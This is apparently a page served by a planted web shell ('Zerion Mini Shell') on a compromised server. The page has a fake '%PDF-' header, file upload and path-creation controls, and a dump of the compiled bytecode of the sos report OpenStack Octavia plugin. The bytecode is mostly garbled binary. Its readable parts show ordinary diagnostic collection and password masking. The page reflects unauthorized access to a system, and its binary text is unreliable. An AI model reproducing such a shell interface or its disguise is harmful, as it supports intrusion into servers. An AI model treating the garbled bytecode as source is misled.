%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/sos/report/plugins/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/sos/report/plugins/__pycache__/openstack_octavia.cpython-312.pyc

�

i��d���l�ddlZddlmZmZmZmZGd�de�ZGd�deee�ZGd�dee�Zy)	�N)�Plugin�RedHatPlugin�DebianPlugin�UbuntuPluginc�:�eZdZdZdZdZdZedzZgd�Zd�Z	d�Z
y	)
�OpenStackOctaviazOpenstack Octavia�openstack_octavia)�	openstack�openstack_controllerz/var/lib/config-dataz/puppet-generated/octavia)�amphora�availabilityzone�availabilityzoneprofile�flavor�
flavorprofile�
healthmonitor�l7policy�listener�pool�provider�quotac��|jdddd|jdz|jdz|jdz|jdzg�|jd	d
i�|j	d�|j	|jdz�|j	|jdz�|jd�r|jd
g�n|jdg�dD�cgc]}|tjv��}}dD�cgc]}|tjv��}}t|�rt|�s>|jd�s-|jd�s|jjd�y|jdd��|jD]{}|jd|z|��d|z}|j|�}|ddk(s�8|dj!�D].}|j#�d}|jd|�d|��|���0�}d}|j|�}|ddk(rB|dj!�D]+}|j#�d}|jd|zd ���-yycc}wcc}w)!Nz*/etc/sysconfig/network-scripts/ifcfg-o-hm0z"/etc/logrotate.d/openstack-octavia�/etc/octavia/*z/var/lib/octaviaz/octavia/etc/octaviaz/etc/octaviaz/etc/rsyslog.dz/etc/my.cnf.d/tripleo.cnfz.*/etc/octavia/octavia.conf�octavia_confz/etc/octavia/certs�all_logsz/var/log/octavia/*z/var/log/octavia/*.log)�OS_USERNAME�OS_PASSWORD)�OS_TENANT_NAME�OS_PROJECT_NAMEzpython2-octaviaclientzpython3-octaviaclientz�Not all environment variables set or octavia client package not installed.Source the environment file for the user intended to connect to the OpenStack environment and install octavia client package.zopenstack loadbalancer list�loadbalancer)�subdirzopenstack loadbalancer %s listz-openstack loadbalancer %s list -f value -c id�statusr�outputzopenstack loadbalancer z show z5openstack loadbalancer provider list -f value -c namez2openstack loadbalancer provider capability list %s�provider_capability)�
add_copy_spec�var_config_data�var_puppet_gen�
add_file_tags�add_forbidden_path�
get_option�os�environ�all�any�is_installed�soslog�warning�add_cmd_output�	resources�exec_cmd�
splitlines�split)�self�p�vars_all�vars_any�res�cmd�ret�ents        �F/usr/lib/python3/dist-packages/sos/report/plugins/openstack_octavia.py�setupzOpenStackOctavia.setup$s������8�0���� � �#9�9����.�0����"2�2����"=�=�	
�		�	
���)�>�
�	�
	
��� 4�5����� 4� 4�7K� K�L����� 3� 3�6J� J�K��?�?�:�&����$� �
�
���(� �
�
.2�3��A����O�3��3�.=�>��A����O�>��>��H�
�#�h�-��!�!�"9�:��$�$�%<�=��K�K���!:�
;�
��� =�'5�
 �
7��~�~�

(���#�#�$D�s�$J�+.�$�0�F��K���m�m�C�(���x�=�A�%�"�8�}�7�7�9�(��!�i�i�k�!�n���+�+�CF��L�#&�,�(�(�

(� J�C��-�-��$�C��8�}��!��X��1�1�3�5�A����	�!��A��'�'�� �!�3�(�5�5�"��K3��>s�(I1�I6c��gd�}ddj|�z}|jd|d�|j|jdz|d�y)N)�ca_private_key_passphrase�
heartbeat_key�password�
connection�
transport_url�server_certs_key_passphrase�memcache_secret_keyz(^\s*(%s)\s*=\s*)(.*)�|rz\1*********)�join�do_path_regex_subr&)r6�protect_keys�regexps   r>�postproczOpenStackOctavia.postprocrsS��
��
*�C�H�H�\�,B�B�����/���H�������"2�2��N�	
�N)�__name__�
__module__�__qualname__�
short_desc�plugin_name�profilesr%r&r2r?rM�rNr>rrs4��$�J�%�K�4�H�,�O�$�'B�B�N��I�L5�\
rNrc�"��eZdZdZ�fd�Z�xZS)�
DebianOctavia)zoctavia-commonzoctavia-apizpython3-octaviac���tt|��|jd�r|j	dg�y|j	dg�y)Nrz/var/log/apache2/octavia*z/var/log/apache2/octavia*.log)�superrWr?r)r$)r6�	__class__s �r>r?zDebianOctavia.setup�sJ���
�m�T�(�*��?�?�:�&����+� �
�
���/� �
rN)rOrPrQ�packagesr?�
__classcell__)rZs@r>rWrW�s����H�	�	rNrWc��eZdZdZy)�
RedHatOctavia)zopenstack-selinuxN)rOrPrQr[rUrNr>r^r^�s��%�HrNr^)	r*�sos.report.pluginsrrrrrrWr^rUrNr>�<module>r`s?��
�O�O�r
�v�r
�j�$�l�L��(&�$�l�&rN

Zerion Mini Shell 1.0